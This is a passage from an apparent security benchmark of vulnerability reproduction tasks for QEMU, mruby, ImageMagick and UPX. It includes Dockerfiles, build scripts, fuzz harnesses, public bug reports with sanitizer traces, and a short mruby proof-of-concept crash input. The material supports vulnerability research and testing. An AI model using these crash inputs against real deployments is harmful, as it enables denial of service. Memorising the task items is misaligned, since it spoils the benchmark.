qemu/hw/scsi/lsi53c895a.c:810:5 #16 0x55cd15e3d5c1 in scsi_req_complete qemu/hw/scsi/scsi-bus.c:1518:5 #17 0x55cd15e41f9c in scsi_unit_attention qemu/hw/scsi/scsi-bus.c:422:5 #18 0x55cd15e33c59 in scsi_req_enqueue qemu/hw/scsi/scsi-bus.c:890:10 #19 0x55cd15ed869c in lsi_do_command qemu/hw/scsi/lsi53c895a.c:869:9 #20 0x55cd15ed869c in lsi_execute_script qemu/hw/scsi/lsi53c895a.c:1261:13 #21 0x55cd15ece001 in lsi_reg_writeb qemu/hw/scsi/lsi53c895a.c #22 0x55cd16c6ef86 in memory_region_write_accessor qemu/softmmu/memory.c:492:5 #23 0x55cd16c6e9fa in access_with_adjusted_size qemu/softmmu/memory.c:554:18 #24 0x55cd16c6e2fa in memory_region_dispatch_write qemu/softmmu/memory.c #25 0x55cd16cc274c in flatview_write_continue qemu/softmmu/physmem.c:2825:23 #26 0x55cd16cba662 in flatview_write qemu/softmmu/physmem.c:2867:12 #27 0x55cd16cba3f3 in address_space_write qemu/softmmu/physmem.c:2963:18 #28 0x55cd15ed4d5c in lsi_memcpy qemu/hw/scsi/lsi53c895a.c:1104:9 #29 0x55cd15ed4d5c in lsi_execute_script qemu/hw/scsi/lsi53c895a.c:1563:13 #30 0x55cd15ece001 in lsi_reg_writeb qemu/hw/scsi/lsi53c895a.c Comments: Comment 3 Mauro Matteo Cascella 2023-01-16 21:56:08 UTC Proposed patch: https://lists.nongnu.org/archive/html/qemu-devel/2023-01/msg03411.html. --- Comment 4 Mauro Matteo Cascella 2023-01-16 22:02:36 UTC Created qemu tracking bugs for this issue: Affects: fedora-all [bug 2161425] --- Comment 5 Product Security DevOps Team 2023-01-21 10:22:31 UTC This bug is now closed. Further updates for individual products will be reflected on the CVE page(s): https://access.redhat.com/security/cve/cve-2023-0330 --- Comment 6 Mauro Matteo Cascella 2023-03-20 21:18:04 UTC In reply to comment #3: > Proposed patch: > https://lists.nongnu.org/archive/html/qemu-devel/2023-01/msg03411.html. Follow up: https://lists.nongnu.org/archive/html/qemu-devel/2023-03/msg05057.html. --- Comment 7 Mauro Matteo Cascella 2023-03-27 18:12:30 UTC Looks like Alexander's dma-reentracy patchset [1], planned to be merged in 8.1, should eventually fix this issue [2]. [1] https://patchew.org/QEMU/20230313082417.827484-1-alxndr@bu.edu/ [2] https://lists.nongnu.org/archive/html/qemu-devel/2023-03/msg06038.html
[ { "content": "[libfuzzer]\nclose_fd_mask=3\ndetect_leaks=0\nmax_len=8192\n", "filename": "default.options" } ]
[]
mruby.cve-2022-0240
mruby/mruby
475b868b7236fd8e8824618e8724b587f08fbe9d
2022-01-15T03:24:39
mruby
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev RUN git clone https://github.com/mruby/mruby mruby RUN git -C mruby checkout 475b868b7236fd8e8824618e8724b587f08fbe9d WORKDIR $SRC/mruby COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu cd $SRC/mruby export LD=$CC export LDFLAGS="$CFLAGS" rake -m
/src/mruby
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/5857eced-aad9-417d-864e-0bdf17226cbb ## Description: Description There is a NULL Pointer Dereference in prepare_singleton_class (src/class.c:360:13). This bug has been found on mruby lastest commit (hash 171d32c0071d776207174a40a8fa26def3dbb931) on Ubuntu 20.04 for x86_64/amd64. Proof of Concept 1.times{b={} a=0 [**0,m:0] c={0=>0,nil=>nil}[0] def m()end def c.e()end} Steps to reproduce 1- Clone repo and build with ASAN using MRUBY_CONFIG=build_config/clang-asan.rb rake 2- Use mruby to execute the poc: $ echo -ne "MS50aW1lc3tiPXt9CmE9MApbKiowLG06MF0KYz17MD0+MCxuaWw9Pm5pbH1bMF0KZGVmIG0oKWVuZApkZWYgYy5lKCllbmR9Cg==" | base64 -d > poc $ build/host/bin/mruby ./poc /home/octa/mruby/src/class.c:360:13: runtime error: member access within null pointer of type 'struct RClass' SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/octa/mruby/src/class.c:360:13 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==31695==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x0000005270f8 bp 0x7ffec6a14090 sp 0x7ffec6a13d80 T0) ==31695==The signal is caused by a READ memory access. ==31695==Hint: address points to the zero page. #0 0x5270f8 in prepare_singleton_class /home/octa/mruby/src/class.c:360:13 #1 0x52688f in mrb_singleton_class_ptr /home/octa/mruby/src/class.c:1685:3 #2 0x528785 in mrb_singleton_class /home/octa/mruby/src/class.c:1692:22 #3 0x600757 in mrb_vm_exec /home/octa/mruby/src/vm.c:2918:17 #4 0x566ee9 in mrb_vm_run /home/octa/mruby/src/vm.c:1128:12 #5 0x55c339 in mrb_top_run /home/octa/mruby/src/vm.c:3050:12 #6 0x88b6ce in mrb_load_exec /home/octa/mruby/mrbgems/mruby-compiler/core/parse.y:6882:7 #7 0x88d2dc in mrb_load_detect_file_cxt /home/octa/mruby/mrbgems/mruby-compiler/core/parse.y:6925:12 #8 0x4c9118 in main /home/octa/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347:11 #9 0x7f46ef9450b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #10 0x41d82d in _start (/home/octa/mruby/build/host/bin/mruby+0x41d82d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/octa/mruby/src/class.c:360:13 in prepare_singleton_class ==31695==ABORTING Acknowledgements This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team. Relevant Links: https://github.com/mruby/mruby
[]
[ { "sha": "5857eced", "url": null }, { "sha": "31fa3304049fc406a201a72293cce140f0557dca", "url": "https://github.com/mruby/mruby/commit/31fa3304049fc406a201a72293cce140f0557dca" }, { "sha": "171d32c0071d776207174a40a8fa26def3dbb931", "url": "https://github.com/mruby/mruby/commit/171d32c0071d776207174a40a8fa26def3dbb931" } ]
imagemagick.cve-2018-11251
imagemagick/imagemagick
a91afc45bd4db0094d54abff921419d65dea14ca
2018-01-06T07:49:17
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout a91afc45bd4db0094d54abff921419d65dea14ca WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/956 ## Description: Issue: ImageMagick/ImageMagick#956 Title: heap-buffer-overflow in SetGrayscaleImage State: closed Created by: henices Created at: 2018-01-24 02:10:17+00:00 Labels: bug Issue Body: ## INFO Version: ImageMagick 7.0.7-23 Q16 x86_64 2018-01-24 http://www.imagemagick.org Copyright: © 1999-2018 ImageMagick Studio LLC License: http://www.imagemagick.org/script/license.php Features: Cipher DPC HDRI Delegates (built-in): bzlib djvu fftw fontconfig freetype gvc jbig jng jpeg lcms lqr lzma pangocairo png tiff webp wmf x xml zlib Trigger Command: **magick buffer-overflow-SetGrayscaleImage /dev/null** ## ASAN OUTPUT ``` magick: InvalidColormapIndex `buffer-overflow-SetGrayscaleImage' @ warning/image.c/SyncImage/3767. ================================================================= ==6554==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000083b8 at pc 0x7f12cab0b2a7 bp 0x7fffab5f2640 sp 0x7fffab5f2638 READ of size 8 at 0x6020000083b8 thread T0 #0 0x7f12cab0b2a6 in SetGrayscaleImage /home/henices/tests/ImageMagick/MagickCore/quantize.c:3444:37 #1 0x7f12cab066e6 in QuantizeImage /home/henices/tests/ImageMagick/MagickCore/quantize.c:2668:16 #2 0x7f12ca7688cc in SetImageType /home/henices/tests/ImageMagick/MagickCore/attribute.c:1264:14 #3 0x7f12cafeb829 in WriteSUNImage /home/henices/tests/ImageMagick/coders/sun.c:950:18 #4 0x7f12ca815f30 in WriteImage /home/henices/tests/ImageMagick/MagickCore/constitute.c:1117:14 #5 0x7f12ca816eab in WriteImages /home/henices/tests/ImageMagick/MagickCore/constitute.c:1336:13 #6 0x7f12ca158de8 in CLINoImageOperator /home/henices/tests/ImageMagick/MagickWand/operation.c:4798:14 #7 0x7f12ca15caa5 in CLIOption /home/henices/tests/ImageMagick/MagickWand/operation.c:5258:7 #8 0x7f12c9fa58ee in ProcessCommandOptions /home/henices/tests/ImageMagick/MagickWand/magick-cli.c:529:3 #9 0x7f12c9fa6648 in MagickImageCommand /home/henices/tests/ImageMagick/MagickWand/magick-cli.c:796:5 #10 0x7f12c9fec78a in MagickCommandGenesis /home/henices/tests/ImageMagick/MagickWand/mogrify.c:183:14 #11 0x50d6cc in MagickMain /home/henices/tests/ImageMagick/utilities/magick.c:149:10 #12 0x50d0d1 in main /home/henices/tests/ImageMagick/utilities/magick.c:180:10 #13 0x7f12c3ee2009 in __libc_start_main (/lib64/libc.so.6+0x21009) #14 0x41a2d9 in _start (/usr/local/bin/magick+0x41a2d9) 0x6020000083b8 is located 0 bytes to the right of 8-byte region [0x6020000083b0,0x6020000083b8) allocated by thread T0 here: #0 0x4d6880 in __interceptor_malloc (/usr/local/bin/magick+0x4d6880) #1 0x7f12caa4fa56 in AcquireMagickMemory /home/henices/tests/ImageMagick/MagickCore/memory.c:468:10 #2 0x7f12caa4fabf in AcquireQuantumMemory /home/henices/tests/ImageMagick/MagickCore/memory.c:541:10 #3 0x7f12cab0a22e in SetGrayscaleImage /home/henices/tests/ImageMagick/MagickCore/quantize.c:3322:32 #4 0x7f12cab066e6 in QuantizeImage /home/henices/tests/ImageMagick/MagickCore/quantize.c:2668:16 #5 0x7f12ca7688cc in SetImageType /home/henices/tests/ImageMagick/MagickCore/attribute.c:1264:14 #6 0x7f12cafeb829 in WriteSUNImage /home/henices/tests/ImageMagick/coders/sun.c:950:18 #7 0x7f12ca815f30 in WriteImage /home/henices/tests/ImageMagick/MagickCore/constitute.c:1117:14 #8 0x7f12ca816eab in WriteImages /home/henices/tests/ImageMagick/MagickCore/constitute.c:1336:13 #9 0x7f12ca158de8 in CLINoImageOperator /home/henices/tests/ImageMagick/MagickWand/operation.c:4798:14 #10 0x7f12ca15caa5 in CLIOption /home/henices/tests/ImageMagick/MagickWand/operation.c:5258:7 #11 0x7f12c9fa58ee in ProcessCommandOptions /home/henices/tests/ImageMagick/MagickWand/magick-cli.c:529:3 #12 0x7f12c9fa6648 in MagickImageCommand /home/henices/tests/ImageMagick/MagickWand/magick-cli.c:796:5 #13 0x7f12c9fec78a in MagickCommandGenesis /home/henices/tests/ImageMagick/MagickWand/mogrify.c:183:14 #14 0x50d6cc in MagickMain /home/henices/tests/ImageMagick/utilities/magick.c:149:10 #15 0x50d0d1 in main /home/henices/tests/ImageMagick/utilities/magick.c:180:10 #16 0x7f12c3ee2009 in __libc_start_main (/lib64/libc.so.6+0x21009) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/henices/tests/ImageMagick/MagickCore/quantize.c:3444:37 in SetGrayscaleImage Shadow bytes around the buggy address: 0x0c047fff9020: fa fa 00 07 fa fa 00 05 fa fa 00 05 fa fa 00 06 0x0c047fff9030: fa fa 00 05 fa fa 00 04 fa fa 00 06 fa fa 00 00 0x0c047fff9040: fa fa 00 03 fa fa 00 03 fa fa 00 03 fa fa 00 04 0x0c047fff9050: fa fa 00 06 fa fa 00 06 fa fa fd fd fa fa 00 07 0x0c047fff9060: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04 =>0x0c047fff9070: fa fa fd fd fa fa 00[fa]fa fa fa fa fa fa fa fa 0x0c047fff9080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff90a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff90b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff90c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==6554==ABORTING ``` testcase: https://github.com/henices/pocs/raw/master/buffer-overflow-SetGrayscaleImage Credit: NSFocus Security Team <security (at) nsfocus (dot) com> Comments: Comment by urban-warrior on 2018-02-09 00:44:53+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ https://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by nohmask on 2018-05-21 01:59:04+00:00: This was assigned CVE-2018-11251.
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "73fbc6a557b4f63af18b2debe83f817859ef7481", "url": "https://github.com/ImageMagick/ImageMagick/commit/73fbc6a557b4f63af18b2debe83f817859ef7481" }, { "sha": "f590a1ce9653b051a5358542f0712a2f0356e276", "url": "https://github.com/ImageMagick/ImageMagick/commit/f590a1ce9653b051a5358542f0712a2f0356e276" } ]
upx.cve-2021-43314
upx/upx
e0bf4609938b0b4d2e83469fac00206a771429e5
2022-10-28T03:34:31
upx
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool cmake RUN git clone https://github.com/upx/upx upx RUN git -C upx checkout e0bf4609938b0b4d2e83469fac00206a771429e5 WORKDIR $SRC/upx COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sed -i 's/ \&\& __clang_major__ < 15//m' /src/upx/src/util/util.cpp mkdir -p build/debug cd build/debug cmake ../.. cmake --build . --target $fuzz_basename -v
/src/upx
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/upx/upx/issues/380 ## Description: Issue: upx/upx#380 Title: [bug] multi heap buffer overflows in get_le32() State: closed Created by: 14isnot40 Created at: 2020-05-23 14:24:07+00:00 Issue Body: ## What's the problem (or question)? Multi heap-based buffer overflows were discovered in upx, during the genric pointer 'p' points to an inaccessible address in func get_le32(). The issue can be triggered by different places, which can cause a denial of service. The issue is diff from [issue365](https://github.com/upx/upx/issues/365) ASAN reports: ```bash ==112024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00001f3b1 at pc 0x0000005292cb bp 0x7fffc3995640 sp 0x7fffc3995630 READ of size 4 at 0x61d00001f3b1 thread T0 #0 0x5292ca in get_le32(void const*) /home/test/Desktop/EVAULATION/upx/src/bele.h:164 #1 0x5292ca in N_BELE_RTP::LEPolicy::get32(void const*) const /home/test/Desktop/EVAULATION/upx/src/bele_policy.h:192 #2 0x4589c1 in Packer::get_te32(void const*) const /home/test/Desktop/EVAULATION/upx/src/packer.h:296 #3 0x4589c1 in PackLinuxElf32::elf_lookup(char const*) const /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:5382 #4 0x463d30 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:315 #5 0x464e96 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.h:395 #6 0x464e96 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:4800 #7 0x464e96 in PackBSDElf32x86::PackBSDElf32x86(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:4817 #8 0x464e96 in PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*) /home/test/Desktop/EVAULATION/upx/src/p_lx_elf.cpp:4828 #9 0x4f337a in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:190 #10 0x4f50f9 in PackMaster::getUnpacker(InputFile*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:248 #11 0x4f521f in PackMaster::unpack(OutputFile*) /home/test/Desktop/EVAULATION/upx/src/packmast.cpp:266 #12 0x52a1e6 in do_one_file(char const*, char*) /home/test/Desktop/EVAULATION/upx/src/work.cpp:160 #13 0x52a69e in do_files(int, int, char**) /home/test/Desktop/EVAULATION/upx/src/work.cpp:271 #14 0x403ace in main /home/test/Desktop/EVAULATION/upx/src/main.cpp:1538 #15 0x7efc08e6182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #16 0x404828 in _start (/home/test/Desktop/EVAULATION/upx/src/upx.out+0x404828) 0x61d00001f3b1 is located 189 bytes to the right of 2164-byte region [0x61d00001ea80,0x61d00001f2f4) allocated by thread T0 here: #0 0x7efc09a55602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x42732a in MemBuffer::alloc(unsigned long long) /home/test/Desktop/EVAULATION/upx/src/mem.cpp:194 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/test/Desktop/EVAULATION/upx/src/bele.h:164 get_le32(void const*) Shadow bytes around the buggy address: 0x0c3a7fffbe20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fffbe30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fffbe40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fffbe50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 fa 0x0c3a7fffbe60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c3a7fffbe70: fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa 0x0c3a7fffbe80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fffbe90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fffbea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fffbeb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fffbec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==112024==ABORTING ``` Debug ```bash Program received signal SIGSEGV, Segmentation fault. 0x000000000066f8f8 in get_le32 (p=0xa1fffd) at bele.h:164 164 return ACC_UA_GET_LE32(p); [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0xa7ce93 $rcx : 0x2 $rdx : 0xae $rsp : 0x00007fffffffcc18 → 0x000000000051249b → <PackLinuxElf32::elf_lookup(char+0> xor eax, ebp $rbp : 0x8e8223e2 $rsi : 0x0000000000a1fffd → 0x0000000000a1fffd $rdi : 0x00000000009ed3c0 → 0x00000000007cd9c0 → 0x000000000066fe00 → <N_BELE_RTP::LEPolicy::~LEPolicy()+0> lea rsp, [rsp-0x98] $rip : 0x000000000066f8f8 → <N_BELE_RTP::LEPolicy::get32(void+0> mov eax, DWORD PTR [rsi] $r8 : 0x1f $r9 : 0x3fdf $r10 : 0xae $r11 : 0x1d9577c0 $r12 : 0x0000000000a00030 → 0x00000000007267a0 → <vtable+0> add BYTE PTR [rax], al $r13 : 0x0000000000a1fffd → 0x0000000000a1fffd $r14 : 0x0000000000a00a51 → 0x0000000000000000 $r15 : 0x00000000007cd9c0 → 0x000000000066fe00 → <N_BELE_RTP::LEPolicy::~LEPolicy()+0> lea rsp, [rsp-0x98] $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffcc18│+0x0000: 0x000000000051249b → <PackLinuxElf32::elf_lookup(char+0> xor eax, ebp ← $rsp 0x00007fffffffcc20│+0x0008: 0x00000000006cdffe → "JNI_OnLoad" 0x00007fffffffcc28│+0x0010: 0x0000000200000000 0x00007fffffffcc30│+0x0018: 0x000000000900457f 0x00007fffffffcc38│+0x0020: 0x0000000000000068 ("h"?) 0x00007fffffffcc40│+0x0028: 0x0000000000000000 0x00007fffffffcc48│+0x0030: 0x0000000000070000 0x00007fffffffcc50│+0x0038: 0x0000000000000000 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x66f8e7 <N_BELE_RTP::LEPolicy::get32(void+0> mov rcx, QWORD PTR [rsp+0x8] 0x66f8ec <N_BELE_RTP::LEPolicy::get32(void+0> mov rdx, QWORD PTR [rsp] 0x66f8f0 <N_BELE_RTP::LEPolicy::get32(void+0> lea rsp, [rsp+0x98] → 0x66f8f8 <N_BELE_RTP::LEPolicy::get32(void+0> mov eax, DWORD PTR [rsi] 0x66f8fa <N_BELE_RTP::LEPolicy::get32(void+0> ret 0x66f8fb nop DWORD PTR [rax+rax*1+0x0] 0x66f900 <N_BELE_RTP::LEPolicy::get64(void+0> lea rsp, [rsp-0x98] 0x66f908 <N_BELE_RTP::LEPolicy::get64(void+0> mov QWORD PTR [rsp], rdx 0x66f90c <N_BELE_RTP::LEPolicy::get64(void+0> mov QWORD PTR [rsp+0x8], rcx ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:bele.h+164 ──── 159 } 160 161 inline unsigned get_le32(const void *p) 162 { 163 #if defined(ACC_UA_GET_LE32) → 164 return ACC_UA_GET_LE32(p); 165 #else 166 return acc_ua_get_le32(p); 167 #endif 168 } 169 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "upx.out", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x66f8f8 → get_le32(p=0xa1fffd) [#1] 0x66f8f8 → N_BELE_RTP::LEPolicy::get32(this=0x9ed3c0 <N_BELE_RTP::le_policy>, p=0xa1fffd) [#2] 0x51249b → Packer::get_te32(this=0xa00030, p=0xa1fffd) [#3] 0x51249b → PackLinuxElf32::elf_lookup(this=0xa00030, name=0x6cdffe "JNI_OnLoad") [#4] 0x529509 → PackLinuxElf32::PackLinuxElf32help1(this=0xa00030, f=0x7fffffffce10) [#5] 0x52c65e → PackLinuxElf32Le::PackLinuxElf32Le(f=0x7fffffffce10, this=0xa00030) [#6] 0x52c65e → PackLinuxElf32x86::PackLinuxElf32x86(f=0x7fffffffce10, this=0xa00030) [#7] 0x52c65e → PackBSDElf32x86::PackBSDElf32x86(f=0x7fffffffce10, this=0xa00030) [#8] 0x52c65e → PackFreeBSDElf32x86::PackFreeBSDElf32x86(this=0xa00030, f=0x7fffffffce10) [#9] 0x60448c → PackMaster::visitAllPackers(func=0x602c30 <try_unpack(Packer*, void*)>, f=0x7fffffffce10, o=0x7fffffffcfc8, user=0x7fffffffce10) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ bt #0 0x000000000066f8f8 in get_le32 (p=0xa1fffd) at bele.h:164 #1 N_BELE_RTP::LEPolicy::get32 (this=0x9ed3c0 <N_BELE_RTP::le_policy>, p=0xa1fffd) at bele_policy.h:192 #2 0x000000000051249b in Packer::get_te32 (this=0xa00030, p=0xa1fffd) at packer.h:296 #3 PackLinuxElf32::elf_lookup (this=0xa00030, name=0x6cdffe "JNI_OnLoad") at p_lx_elf.cpp:5382 #4 0x0000000000529509 in PackLinuxElf32::PackLinuxElf32help1 (this=this@entry=0xa00030, f=f@entry=0x7fffffffce10) at p_lx_elf.cpp:315 #5 0x000000000052c65e in PackLinuxElf32Le::PackLinuxElf32Le (f=0x7fffffffce10, this=0xa00030) at p_lx_elf.h:395 #6 PackLinuxElf32x86::PackLinuxElf32x86 (f=0x7fffffffce10, this=0xa00030) at p_lx_elf.cpp:4800 #7 PackBSDElf32x86::PackBSDElf32x86 (f=0x7fffffffce10, this=0xa00030) at p_lx_elf.cpp:4817 #8 PackFreeBSDElf32x86::PackFreeBSDElf32x86 (this=0xa00030, f=0x7fffffffce10) at p_lx_elf.cpp:4828 #9 0x000000000060448c in PackMaster::visitAllPackers (func=0x602c30 <try_unpack(Packer*, void*)>, f=0x7fffffffce10, o=0x7fffffffcfc8, user=0x7fffffffce10) at packmast.cpp:190 #10 0x00000000006072ca in PackMaster::getUnpacker (f=<optimized out>) at packmast.cpp:248 #11 PackMaster::unpack (this=0x7fffffffcfb0, fo=0x7fffffffcee0) at packmast.cpp:266 #12 0x0000000000670dc5 in do_one_file (iname=iname@entry=0x7fffffffdf15 "id:000089,sig:11,src:001286,op:MOpt-core-havoc,rep:2", oname=oname@entry=0x7fffffffd550 "/dev/null") at work.cpp:160 #13 0x000000000067157c in do_files (i=i@entry=0x4, argc=0x5, argv=0x7fffffffdac8) at work.cpp:271 #14 0x00000000004056a1 in main (argc=0x5, argv=0x7fffffffdac8) at main.cpp:1538 ``` Deferencing a generic poniter 'p' trigger the overflow. ```cpp gef➤ p *p Attempt to dereference a generic pointer. gef➤ p p $1 = (const void *) 0xa1fffd ``` Essentially, the problem is caused in PackLinuxElf32::elf_lookup() at p_lx_elf.cpp:5382 ```cpp do if (0==((h ^ get_te32(hp))>>1)) { unsigned st_name = get_te32(&dsp->st_name); char const *const p = get_str_name(st_name, (unsigned)-1); if (0==strcmp(name, p)) { return dsp; } } while (++dsp, 0==(1u& 